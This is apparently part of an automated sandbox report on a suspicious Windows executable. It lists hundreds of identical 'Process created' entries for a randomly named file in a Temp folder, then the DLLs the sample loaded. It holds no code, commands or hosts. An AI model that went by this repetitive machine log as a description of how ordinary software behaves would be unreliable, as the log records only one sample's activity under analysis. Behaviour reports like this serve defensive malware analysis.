Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
